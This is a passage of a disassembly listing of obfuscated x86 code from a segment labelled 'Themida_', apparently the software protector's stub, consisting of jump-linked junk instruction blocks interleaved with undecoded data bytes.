; ---------------------------------------------------------------------------

loc_51A637:				; CODE XREF: Themida_:00516D72j
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_51E40E
; ---------------------------------------------------------------------------

loc_51A645:				; CODE XREF: Themida_:0051948Aj
		add	ebp, esi
		jmp	loc_5135E5
; ---------------------------------------------------------------------------

loc_51A64C:				; CODE XREF: Themida_:0051779Ej
		mov	ebx, 218C2B67h
		jmp	loc_5176E3
; ---------------------------------------------------------------------------

loc_51A656:				; CODE XREF: Themida_:0051EB27j
		push	ebx
		mov	ebx, 3F322479h
		dec	ebx
		not	ebx
		inc	ebx
		add	ebx, 3EB10C96h
		jmp	loc_510104
; ---------------------------------------------------------------------------

loc_51A66B:				; CODE XREF: Themida_:00519FEAj
		pop	esp
		jmp	loc_51F4FE
; ---------------------------------------------------------------------------

loc_51A671:				; CODE XREF: Themida_:00511DBCj
		add	ebp, edi
		add	ebp, 0FA56185h
		pop	edi
		jmp	loc_5210B5
; ---------------------------------------------------------------------------

loc_51A67F:				; CODE XREF: Themida_:0051389Bj
		pop	dword ptr [esp]
		pop	esp
		or	eax, eax
		jz	loc_5100C6
		push	dword ptr [edi+28h]
		push	ebx
		jmp	loc_512CD5
; ---------------------------------------------------------------------------
		dd 2093F380h, 8B4FE9DDh, 81660000h, 664CBAC1h, 8166D101h
		dd 664CBAE9h, 4C01665Ah, 8B660224h, 0E955240Ch,	4330h
		dd 0FF243489h, 96E9240Ch, 0F700006Ah, 0E99C241Ch, 0FFFF503Ch
		dd 5966CE88h, 1E9CB86h
		db 93h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_51A6DB:				; CODE XREF: Themida_:0051A57Fj
		mov	esi, 4
		add	eax, esi
		pop	esi
		jmp	loc_512212
; ---------------------------------------------------------------------------
		dd 0D1036A68h, 0AC3E957h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_51A6F2:				; CODE XREF: Themida_:00514740j
		mov	[esp], edx
		push	ebx
		push	19657DBDh
		jmp	loc_523C90
; ---------------------------------------------------------------------------
		dd 4EC81h, 14890000h, 0F5685124h, 59426B38h, 8107E1C1h
		dd 3BAA7DC1h, 4FD4E9F1h, 34FF0000h
		db 24h,	5Bh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_511CE6
; ---------------------------------------------------------------------------
		db 81h
		dd 363FABC1h, 59CA2997h, 9210E9h, 5DEE2900h, 81241C8Bh
		dd 4C4h, 60FEE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_51A752:				; CODE XREF: Themida_:005117F9j
		mov	[esp], eax
		not	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_51EDDC
; ---------------------------------------------------------------------------

loc_51A760:				; CODE XREF: Themida_:00515915j
		xor	bl, dh
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		push	ecx
		jmp	loc_517C4D
; ---------------------------------------------------------------------------
		db 29h,	0D6h, 0E9h
		dd 2018h, 0E4BA525Bh, 0C15CB764h, 0EAC107E2h, 76E28103h
		dd 4A32E17Ch, 0C281D2F7h, 751D9BB4h, 815AD631h,	42290FC6h
		dd 53350591h, 7A054415h, 14E291Ah, 1A7A2DF0h, 352D4E29h
		dd 0E9441553h, 515h, 506638B6h,	0B07EB252h, 0E9D00047h
		dd 9FAAh, 115F66BDh, 0E5C14D59h, 34ED8108h, 81630129h
		dd 186CFBCDh, 36BF5757h, 8128E903h, 8F5B1FEFh, 0E7814F5Eh
		dd 2E4B2EF4h, 4EC81h, 36E90000h
		db 53h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_51A7FB:				; CODE XREF: Themida_:0051B4C4j
		mov	bp, 230Dh
		sub	bx, 3B5h
		jmp	loc_51926F
; ---------------------------------------------------------------------------

loc_51A809:				; CODE XREF: Themida_:005235CDj
		add	[esp+4], edi
		jmp	loc_50FE8B
; ---------------------------------------------------------------------------
		dw 8358h
		dd 0C8704E9h, 24248B24h, 0E9243C89h, 0FFFFE430h, 0FF4EE3E9h
		dd 0E98DB2FFh, 0FFFF973Fh, 192BE95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_51A836:				; CODE XREF: Themida_:00511B65j
		shr	ebp, 3
		xor	ebp, 42406h
		add	edi, ebp
		pop	ebp
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		sub	eax, 343356DAh
		add	eax, edi
		jmp	loc_520AE3
; ---------------------------------------------------------------------------
		db 5Bh
		dd 0AA7FA3B9h, 5FF929B1h, 70ABB850h, 0C28909AAh, 59CA3158h
		dd 88BEE9h, 32996800h, 24890000h, 982BE924h, 8B66FFFFh
		dd 6768240Ch, 8900003Ah, 87682434h, 8900000Bh, 4812424h
		dd 424h, 0D22BE900h, 34FFFFFFh,	0C4815824h, 4, 0E096E951h
		dd 8B66FFFFh, 0EC83240Ch, 0E689E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_51A8BE:				; CODE XREF: Themida_:0051835Bj
		xor	eax, 45D77ADDh
		sub	edx, eax
		jmp	loc_51B081
; ---------------------------------------------------------------------------

loc_51A8CA:				; CODE XREF: Themida_:0051DD61j
		mov	eax, ebx
		pop	ebx
		xor	ecx, eax
		pop	eax
		xchg	ebp, ecx
		neg	ebp
		xchg	ebp, ecx
		xor	ecx, 28810667h
		sub	ecx, 0F3F0F146h
		sub	edi, ecx
		pop	ecx
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		jmp	loc_521DD7
; ---------------------------------------------------------------------------
		db 89h
		dd 0E0892404h, 405h, 4BE5600h, 29000000h, 4875EF0h, 20E95C24h
		db 0Fh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_51A90F:				; CODE XREF: Themida_:00510868j
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		or	ebx, 58A705Ch
		shr	ebx, 3
		jmp	loc_51726E
; ---------------------------------------------------------------------------

loc_51A927:				; CODE XREF: Themida_:0051C530j
		pop	ebp
		add	ebx, 4
		jmp	loc_513B3D
; ---------------------------------------------------------------------------
aSs_0		db 'Sé%$',0
		dd 4C38100h, 0E9000000h, 0FFFFB58Bh
; ---------------------------------------------------------------------------

loc_51A944:				; CODE XREF: Themida_:005102B2j
		pop	esp
		mov	[esp], edi
		push	4
		mov	edi, [esp]
		add	esp, 4
		sub	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		sub	esp, 4
		jmp	loc_523507
; ---------------------------------------------------------------------------
aVsis		db 'VéI˜',0
		align 2

loc_51A976:				; CODE XREF: Themida_:0050FC8Aj
		push	ecx
		push	15D14EB7h
		pop	ecx
		neg	ecx
		sub	ecx, 0EA2EB145h
		push	ecx
		pop	edx
		pop	ecx
		add	ebp, edx
		push	dword ptr [esp]
		jmp	loc_5148E9
; ---------------------------------------------------------------------------
		dw 8BBDh
		dd 534C5B65h, 9673E9BBh, 8BDD3158h, 0E950241Ch,	0FFFF4DDAh
		dd 14ADE981h, 0D1011517h, 14ADC181h, 94E91517h,	8100009Fh
		dd 0DF62A0C3h, 0C1C38157h, 1344B24h, 0D8015BD8h, 597B212Dh
		dd 8C2EE93Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_51A9D6:				; CODE XREF: Themida_:00511C2Ej
		sub	esi, 1
		sub	esi, 0FB892339h
		add	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		shr	ecx, 6
		push	esi
		push	ebx
		push	dword ptr [esp]
		pop	esi
		jmp	loc_5242CE
; ---------------------------------------------------------------------------

loc_51AA07:				; CODE XREF: Themida_:00510F8Dj
		sub	esp, 4
		jmp	loc_5156FB
; ---------------------------------------------------------------------------
		db 54h
		dd 5524148Bh, 0FFD117E9h, 2DBA66FFh, 0B22D661Eh, 9171E941h
		dd 0C481FFFFh, 4, 0FFB4B1E9h, 58C130FFh, 0E959CA20h, 0FFFFF2BCh
		dd 0AE4014BDh, 0E4E95553h, 89FFFF54h, 0E956243Ch, 0FFFFF14Bh
		dd 4BA52h, 54010000h, 148B0424h, 4C48324h, 52242C8Bh, 6CBEE9h
		dd 0C2815B00h, 4, 31241433h, 14332414h,	224E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_51AA7E:				; CODE XREF: Themida_:0051A2DDj
		dec	ebx
		shl	ebx, 2
		add	ebx, 21C2FCC8h
		mov	esi, ebx
		pop	ebx
		add	ebx, 7B05067Ch
		sub	ebx, esi
		sub	ebx, 7B05067Ch
		pop	esi
		push	edi
		jmp	loc_518634
; ---------------------------------------------------------------------------

loc_51AAA0:				; CODE XREF: Themida_:00514609j
		push	edx
		mov	edx, 227D73EEh
		jmp	loc_51B83C
; ---------------------------------------------------------------------------
		db 89h
		dd 7866E9D6h, 0C8BFFFFh, 4C48324h, 34FFE688h, 0FCE95824h
		dd 5000050h, 4,	8704E883h, 4AE92404h, 5C00003Ch, 0E99CC83Bh
		dd 0FFFF4C30h
; ---------------------------------------------------------------------------

loc_51AADC:				; CODE XREF: Themida_:0051D516j
		add	ebx, 4
		jmp	loc_520CD5
; ---------------------------------------------------------------------------
		db 81h
		dd 0DD62DAC5h, 24148B6Ch, 0FFEF97E9h, 26C181FFh, 5E123B73h
		dd 1EE9CB01h, 31000048h, 1C33241Ch, 24248B24h, 9C2424D2h
		dd 0FF4BF7E9h, 243C89FFh, 53505F54h, 0A766852h,	815A5589h
		dd 0DCC66FEAh, 6934E946h, 57580000h, 0FF73C9E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_51AB35:				; CODE XREF: Themida_:005216A3j
		sar	byte ptr [esp],	cl
		pushf
		jmp	loc_51F9FA
; ---------------------------------------------------------------------------

loc_51AB3E:				; CODE XREF: Themida_:0051E93Aj
		pop	esi
		or	edi, edx
		jmp	loc_522EF0
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 5452240Ch, 5A2434FFh, 8104C483h, 4C2h, 14AB6800h, 34890000h
		dd 2BE24h, 0C2810000h, 29E86B6Bh, 88D8E953h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_51AB72:				; CODE XREF: Themida_:00522305j
		mov	[esp], esp
		jmp	loc_518AD6
; ---------------------------------------------------------------------------
		dw 4BAh
		dd 0E9000000h, 1FF7h, 240C8966h, 0EEB65266h, 0A9E9F188h
		db 52h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_51AB93:				; CODE XREF: Themida_:00513B38j
		pop	esp
		mov	[esp], esi
		mov	esi, 61E915AFh
		dec	esi
		xor	esi, 49A16F52h
		not	esi
		inc	esi
		shr	esi, 5
		sub	esi, 0FFFFFFFFh
		push	ebx
		mov	ebx, 0A0625AB0h
		sub	esi, ebx
		mov	ebx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_5163A1
; ---------------------------------------------------------------------------
		db 89h
		dd 0F9015AD1h, 58B0E9h
		db 0
; ---------------------------------------------------------------------------

loc_51ABD1:				; CODE XREF: Themida_:00522562j
		mov	[esp], eax
		mov	eax, 6F04B09h
		add	eax, 6EDEC688h
		push	ebp
		jmp	loc_51A286
; ---------------------------------------------------------------------------
aIFhjxf_sQ	db '‰<$fh†Xf_é³q',0
		align 2

loc_51ABF2:				; CODE XREF: Themida_:00521070j
		and	eax, edi
		jmp	loc_514164
; ---------------------------------------------------------------------------

loc_51ABF9:				; CODE XREF: Themida_:005229B2j
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_5185FD
; ---------------------------------------------------------------------------
		db 0BFh
		dd 0EAE27B6Bh, 3C8BFD31h, 4C48124h, 81000000h, 0C76BE3C2h
		dd 57EA2963h, 0C76BE3BFh, 8BFA2963h, 0C483243Ch, 335E5D04h
		dd 14312414h, 24143324h, 2404D35Ch, 4ACAE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_51AC42:				; CODE XREF: Themida_:00521A58j
		mov	eax, 594528D1h
		push	3984h
		mov	[esp], ecx
		mov	ecx, 0EB53BE2Eh
		sub	eax, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		xor	edi, eax
		jmp	loc_5182BD
; ---------------------------------------------------------------------------
		dd 4EC81h, 4890000h, 4F40B824h,	0D8F7097Eh, 139B0548h
		dd 82D23ADh, 29A1EAC7h,	0F80158C7h, 4EC815Fh, 0E9000000h
		dd 0FFFFB729h
; ---------------------------------------------------------------------------

loc_51AC90:				; CODE XREF: Themida_:0051966Bj
		sub	cl, 0EEh
		sub	esp, 4
		mov	[esp], ecx
		mov	ch, 0F7h
		sub	bl, ch
		jmp	loc_51C6FE
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 24048F24h, 74D1E9h, 1C8B5800h, 92A1E924h, 0F752FFFFh
		dd 9DE9241Ch, 45FFFFE3h, 49F0E9h, 241C8900h, 0FF991BE9h
		dd 24348BFFh, 4C481h, 0C3310000h, 24148B66h, 8904EC83h
		dd 24E9241Ch, 81FFFF51h, 0FF4F44EAh, 8BD38962h,	0C4832414h
		dd 24448104h, 0B55F6104h, 245C0106h, 61B85004h,	2906B55Fh
		dd 58082444h, 0FFFA0DE9h, 34FF5FFFh, 89535E24h,	4C381E3h
		dd 83000000h, 1C8704C3h, 0F7565C24h, 9CE92414h
		db 0C0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_51AD2F:				; CODE XREF: Themida_:00524FF8j
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	ecx
		mov	ecx, 1
		and	eax, ecx
		push	dword ptr [esp]
		pop	ecx
		push	ebx
		mov	ebx, esp
		push	294Eh
		mov	[esp], edi
		jmp	loc_518836
; ---------------------------------------------------------------------------
		db 0E9h, 0B6h, 49h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_51AD56:				; CODE XREF: Themida_:005121C2j
		xor	ch, 0BCh
		dec	ch
		xor	ch, 47h
		sub	ch, 0ADh
		push	eax
		jmp	loc_51B643
; ---------------------------------------------------------------------------

loc_51AD67:				; CODE XREF: Themida_:00513AACj
		mov	eax, 1CB13C6Eh
		mov	ebp, 30E54EA7h
		sub	ebp, eax
		pop	eax
		jmp	loc_5170C1
; ---------------------------------------------------------------------------

loc_51AD79:				; CODE XREF: Themida_:0051C4D4j
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_51489B
; ---------------------------------------------------------------------------

loc_51AD8E:				; CODE XREF: Themida_:00517A53j
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		jmp	loc_5211E1
; ---------------------------------------------------------------------------
		dw 0BA52h
		dd 20035F98h, 0E1E9D789h, 0BE00005Dh, 28B833DCh, 15EF289h
		dd 0F311E9D3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_51ADBA:				; CODE XREF: Themida_:00515BF3j
		xor	ebx, 9345A21Fh
		jmp	loc_51E672
; ---------------------------------------------------------------------------
		db 89h,	0E1h, 81h
		dd 4C1h, 4E98300h, 5C240C87h, 24048F54h, 7987E9h, 24148700h
		dd 2C7815Ch, 33000000h,	3EE9243Ch, 29000094h, 24348BF0h
		dd 0E9E28952h, 0FFFFA261h
; ---------------------------------------------------------------------------

loc_51ADFC:				; CODE XREF: Themida_:00522713j
		pop	esp
		mov	[esp], ebp
		jmp	loc_51BAD6
; ---------------------------------------------------------------------------
		db 1, 0F5h, 0E9h
		dd 615Ah, 0F5E9E9D1h
		db 0A8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_51AE13:				; CODE XREF: Themida_:0051E084j
		and	ebp, 6C9963FDh
		shl	ebp, 8
		shl	ebp, 6
		shr	ebp, 8
		jmp	loc_5171B0
; ---------------------------------------------------------------------------

loc_51AE27:				; CODE XREF: Themida_:0051D95Fj
		mov	bh, dl
		jmp	loc_5194B5
; ---------------------------------------------------------------------------
		dw 558h
		dd 4, 5004C083h, 42474FFh, 5FDDE958h, 0E9C30000h, 0FFFF48C4h
		dd 4BA52h, 78E90000h
		db 8Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_51AE53:				; CODE XREF: Themida_:00519502j
		and	eax, ebx
		push	dword ptr [esp]
		mov	ebx, [esp]
		jmp	loc_521BB3
; ---------------------------------------------------------------------------
		dd 7204D828h, 83241C8Bh, 0EF6804C4h, 89000057h,	3EB5240Ch
		dd 0CDFEDDF6h, 8350D5F6h, 148904ECh, 2CB35324h,	0DA0001B2h
		dd 3C6DE95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_51AE8E:				; CODE XREF: Themida_:0051AED3j
		or	dh, al
		pop	eax
		shr	dh, 7
		sub	dh, 0E3h
		sub	dh, 0BCh
		jmp	loc_517D02
; ---------------------------------------------------------------------------
		db 81h
		dd 456E4FC9h, 74F18144h, 892B4A0Fh, 0C58159CDh,	1579B87Fh
		dd 0FF702DE9h, 243C89FFh, 4BFh,	10C28100h, 157E218h, 3C5EE9FAh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_51AECE:				; CODE XREF: Themida_:00524F1Ej
		mov	dh, 0A5h
		push	eax
		mov	al, 74h
		jmp	loc_51AE8E
; ---------------------------------------------------------------------------
		dd 5A2434FFh, 81E68956h, 4C6h, 4C68300h, 5C243487h, 87DC781h
		dd 3AE9CD97h
		db 1Eh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_51AEF7:				; CODE XREF: Themida_:005138F2j
		push	ebp
		jmp	loc_51EB25
; ---------------------------------------------------------------------------
		db 0D1h, 0E0h, 0E9h
		dd 0FFFFB5E4h, 0C0C5B551h, 0F58008EDh, 0E04AE919h, 1C87FFFFh
		dd 24248B24h, 4B30F66h,	0E9E99C24h, 34FFFF47h, 58C328BBh
		dd 28A4C380h, 0A4EB80D3h, 80B3B252h, 0D300CDC3h, 0E9CDEB80h
		dd 0FFFF651Bh, 2F3AF181h, 0E181700Bh, 9282610h,	5629E181h
		dd 0C1811707h, 3B895DE5h, 247AC981h, 0F1812F6Fh, 1648546Ch
		dd 0FFA596E9h, 685152FFh, 7967h, 8BC1E9h
		db 0
; ---------------------------------------------------------------------------

loc_51AF75:				; CODE XREF: Themida_:005134A3j
		pop	esp
		or	edx, eax
		shl	edx, 1
		push	ebx
		mov	ebx, 24h
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_513B32
; ---------------------------------------------------------------------------

loc_51AF8E:				; CODE XREF: Themida_:0051F398j
		add	ebp, 4
		jmp	loc_521AA5
; ---------------------------------------------------------------------------
		dw 835Eh
		dd 0E95104C4h, 654Ch, 5F2434FFh, 0FFDE45E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_51AFA9:				; CODE XREF: Themida_:005107D5j
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ebp
		push	eax
		push	ebx
		push	121Ch
		mov	[esp], eax
		push	esi
		push	10BE00BDh
		pop	esi
		add	esi, 0FFFFFFFFh
		xor	esi, 5A666072h
		push	esi
		add	dword ptr [esp], 50C25450h
		pop	eax
		sub	eax, 50C25450h
		pop	esi
		jmp	loc_51EB1F
; ---------------------------------------------------------------------------
		dd 0BE56D701h, 7BFC57E0h, 4605EEC1h, 7B1BBF57h,	0CDE92E1Eh
		dd 81FFFF72h, 9A5A06EFh, 81CF0147h, 9A5A06C7h, 2B37E947h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_51B01A:				; CODE XREF: Themida_:0051510Bj
		mov	[edi+24h], eax
		pop	eax
		push	dword ptr [esp]
		pop	ebx
		push	2A1Ch
		mov	[esp], edx
		jmp	loc_512FA8
; ---------------------------------------------------------------------------
		db 58h
		dd 82E9D0F7h, 81FFFFBFh, 42404h, 0C8B0000h, 4C48324h, 4BF57h
		dd 0F9010000h, 0B5E9505Fh, 500002Dh, 7AA45852h,	34EB68h
		dd 242C8900h, 0FFF240E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_51B065:				; CODE XREF: Themida_:00514FBCj
		pop	ebp
		and	eax, ecx
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	ecx
		jmp	loc_523555
; ---------------------------------------------------------------------------

loc_51B081:				; CODE XREF: Themida_:0051A8C5j
		pop	eax
		jmp	loc_512F6F
; ---------------------------------------------------------------------------
		align 4
		dd 68E958E2h, 5AFFFFE3h, 4B5EE9h, 2E7C100h, 8C2BE9h
		db 0
; ---------------------------------------------------------------------------

loc_51B09D:				; CODE XREF: Themida_:00517D07j
		add	esp, 4
		add	bh, 8Ah
		sub	al, bh
		mov	ebx, [esp]
		add	esp, 4
		push	dx
		mov	dl, 1Ah
		add	al, dl
		pop	dx
		mov	ecx, [esp]
		jmp	loc_5154C2
; ---------------------------------------------------------------------------
		dw 0FEBFh
		dd 81051377h, 825015EFh, 0FFFB31F9h, 835F2434h,	0C38304C4h
		dd 19CB8101h, 0E90CB120h, 0FFFF46E6h, 0E9FA315Dh, 0FFFF96D3h
		dd 544B685Fh, 4890000h,	2B824h,	0C7E90000h
		db 79h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_51B0FB:				; CODE XREF: Themida_:005165CEj
		xor	esi, [esp]
		xor	[esp], esi
		sub	esp, 4
		jmp	loc_516014
; ---------------------------------------------------------------------------
		db 5Dh,	0E9h, 58h
		dd 0B3FFFFDBh, 1CEB80B1h, 28E0C380h, 0E0EB80CBh, 838CE9h
		dd 44C28100h, 0E943A417h, 0FFFFA7C5h
; ---------------------------------------------------------------------------

loc_51B12C:				; CODE XREF: Themida_:0051F4E0j
		add	edi, 54ED5D9Bh
		or	edi, 6B610CCEh
		or	edi, 6C5D163Eh
		push	eax
		mov	eax, 0CCDC104Ch
		sub	edi, eax
		pop	eax
		sub	ebp, edi
		pop	edi
		add	ebp, 43B8FDF4h
		jmp	loc_511347
; ---------------------------------------------------------------------------
		db 80h,	0EFh, 28h
		dd 0D4E9FE88h, 89FFFF6Ah, 68532404h, 0AF75714h,	0B2F3815Bh
		dd 897DBF01h, 0A5055BD8h, 5172EC46h, 54008EB9h,	0E5F18177h
		dd 813AD971h, 8F0724E1h, 0EFF1812Dh, 8111BB74h,	431450C9h
		dd 0A3C18146h, 0E9299A5Fh, 0FFFF5B8Bh, 4C681h, 0C6810000h
		dd 4, 5C243487h, 0FF9B84E9h, 0F7815FFFh, 628E2570h, 4073C781h
		dd 58E97698h, 5D000006h, 0DFF7D7F7h, 4E24B850h,	2D0D3341h
		dd 25701706h, 2BE8308Bh, 0FFF11DE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_51B1E1:				; CODE XREF: Themida_:00519984j
		push	esp
		pop	eax
		push	esi
		mov	esi, 4
		add	eax, esi
		pop	esi
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, 7F421F40h
		jmp	loc_516D84
; ---------------------------------------------------------------------------
aZsu		db 'Zéž',0Bh,0
		align 4
		dd 0C2BFE95Ch, 0FD88FFFFh, 0FF94DEE9h, 53E958FFh, 55000090h
		dd 4BDh, 8BE80100h, 8950242Ch, 8029E9E0h, 0E9550000h, 0FFFFC8D7h
; ---------------------------------------------------------------------------

loc_51B234:				; CODE XREF: Themida_:0051E225j
		mov	[esp], ecx
		mov	ecx, 5C1B7E4Eh
		jmp	loc_513CEF
; ---------------------------------------------------------------------------
		db 81h,	0EDh, 96h
		dd 1763717h, 0B3B850D5h, 0C1602959h, 575607E8h,	0FFFFFFBFh
		dd 5FFE89FFh, 0FFE9DAE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_51B261:				; CODE XREF: Themida_:00522D4Aj
		pop	esp
		push	58BBh
		mov	[esp], ebx
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		jmp	loc_513B55
; ---------------------------------------------------------------------------

loc_51B276:				; CODE XREF: Themida_:00512D93j
		mov	ecx, ebx
		jmp	loc_510B75
; ---------------------------------------------------------------------------

loc_51B27D:				; CODE XREF: Themida_:00521C9Fj
		push	dword ptr [esp]
		pop	ebp
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_5205CF
; ---------------------------------------------------------------------------
		dw 815Dh
		dd 244D93F1h, 0CED9E97Dh, 166FFFFh, 0F2D66F0h, 665E662Fh
		dd 60E9F029h, 0C1FFFF8Fh, 0E98105E9h, 0A1C407Eh, 7E10C181h
		dd 0CD01073Dh, 83240C8Bh, 0ED8104C4h, 4, 31242C33h, 2C33242Ch
		dd 24248B24h, 0B2241489h, 8BD300E5h, 0DEE92414h
		db 46h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_51B2EF:				; CODE XREF: Themida_:00524E46j
		mov	dx, [esp]
		jmp	loc_511881
; ---------------------------------------------------------------------------

loc_51B2F8:				; CODE XREF: Themida_:0051902Cj
		mov	edx, esi
		jmp	loc_520B92
; ---------------------------------------------------------------------------
		db 66h
		dd 68240C8Bh, 4C87h, 2581E9h, 24048B00h, 4C481h, 8F0000h
		dd 2E750081h, 31E93AC7h, 8900003Ch, 2519E9E3h, 0DBF60000h
		dd 4A54E9h
		db 0
; ---------------------------------------------------------------------------

loc_51B331:				; CODE XREF: Themida_:00512D1Dj
		xchg	ecx, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	ebp
		push	4AFB36EBh
		pop	ebp
		jmp	loc_517F96
; ---------------------------------------------------------------------------
		db 59h
		dd 0FF5A61E9h, 4C381FFh, 0E9000000h, 0FFFFA261h
; ---------------------------------------------------------------------------

loc_51B35C:				; CODE XREF: Themida_:0051EA87j
		mov	ebx, 3033444Dh
		sub	ebx, 1
		shl	ebx, 7
		add	ebx, 1
		xor	ebx, 6A206D48h
		dec	ebx
		push	103Eh
		mov	[esp], ebp
		jmp	loc_510390
; ---------------------------------------------------------------------------
		db 89h,	4, 24h
		dd 87D2E9h, 4077FF00h, 0FF437BE9h, 4C483FFh, 81242C8Bh
		dd 4C4h, 436AE900h, 0C681FFFFh,	799E5D83h, 0FFE52DE9h
		dd 4C381FFh, 83000000h,	1C8704C3h, 29C2E924h, 815D0000h
		dd 47F9242Ch, 4816441h,	0E14B9624h, 2404296Eh, 96242C81h
		dd 816EE14Bh, 4ECh, 0DDC3E900h,	5B66FFFFh, 0B353D800h
		dd 7BF38020h, 0FFA03FE9h, 51C330FFh, 0E904EC83h, 0FFFF66E7h
; ---------------------------------------------------------------------------

loc_51B3FC:				; CODE XREF: Themida_:00516F2Dj
		sub	dword ptr [esp], 3B016BD0h
		pop	eax
		add	eax, 3B016BD0h
		pop	ebp
		add	eax, 12E84B29h
		sub	eax, 70D40611h
		add	eax, edi
		jmp	loc_521C4D
; ---------------------------------------------------------------------------
		db 89h
		dd 14BA2414h, 576D6B43h, 4118ECBFh, 8BFA2945h, 0C483243Ch
		dd 3A87E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_51B436:				; CODE XREF: Themida_:0051F539j
		pop	ecx
		add	ebx, edx
		add	ebx, 65E0B34h
		mov	edx, [esp]
		add	esp, 4
		sub	ebx, 5C1B7E4Eh
		sub	ebx, 2F755B53h
		jmp	loc_5198A2
; ---------------------------------------------------------------------------

loc_51B456:				; CODE XREF: Themida_:0051DD45j
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		add	eax, 320954ADh
		push	5123h
		mov	[esp], ecx
		mov	ecx, 2EA85D8Bh
		jmp	loc_5198BB
; ---------------------------------------------------------------------------
		db 1
		dd 31EB81F3h, 5E53925Ah, 4EC8156h, 89000000h, 0C4BA2414h
		dd 817B0E0Eh, 724ECEC2h, 5AD689E7h, 4E04E6C1h, 0F681D6F7h
		dd 9FDD064Fh, 525EF331h, 6FD8E9h, 148B5400h, 5F545724h
		dd 4C781h, 0C7830000h, 4F27E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_51B4C2:				; CODE XREF: Themida_:00511E2Bj
		push	bp
		jmp	loc_51A7FB
; ---------------------------------------------------------------------------
		db 33h,	2Ch, 24h
		dd 0FF8087E9h, 242C8AFFh, 92D3E9h, 67D8BA00h, 0EC830F8Fh
		dd 240C8904h, 0CE11AFB9h, 0F8E98144h, 2932A0BAh, 0D32959CBh
		dd 0FF5778E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_51B4F9:				; CODE XREF: Themida_:00516C6Fj
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		and	eax, edi
		push	dword ptr [esp]
		pop	edi
		sub	esp, 4
		mov	[esp], ebp
		push	5F28h
		push	esp
		pop	dword ptr [esp]
		push	eax
		mov	eax, 476A723Bh
		dec	eax
		and	eax, 2F447324h
		sub	eax, 3A865255h
		sub	eax, 0CCBA1FC7h
		jmp	loc_51EB9F
; ---------------------------------------------------------------------------
		db 1
		dd 685358C2h, 2, 0EF6E9h
		db 0
; ---------------------------------------------------------------------------

loc_51B541:				; CODE XREF: Themida_:00514B9Fj
		pop	ecx
		jmp	loc_514840
; ---------------------------------------------------------------------------
		db 0BEh
		dd 4, 815EF201h, 4EAh, 24143300h, 33241431h, 248B2414h
		dd 24248924h, 4BA52h, 54010000h, 8B5A0424h, 0C483242Ch
		dd 98E5E904h, 665A0000h, 68240C8Bh, 5B26h, 54240C89h, 0E92434FFh
		dd 0FFFF5AC4h
; ---------------------------------------------------------------------------

loc_51B590:				; CODE XREF: Themida_:005182A3j
		pop	esp
		push	eax
		sub	esp, 4
		mov	[esp], ebx
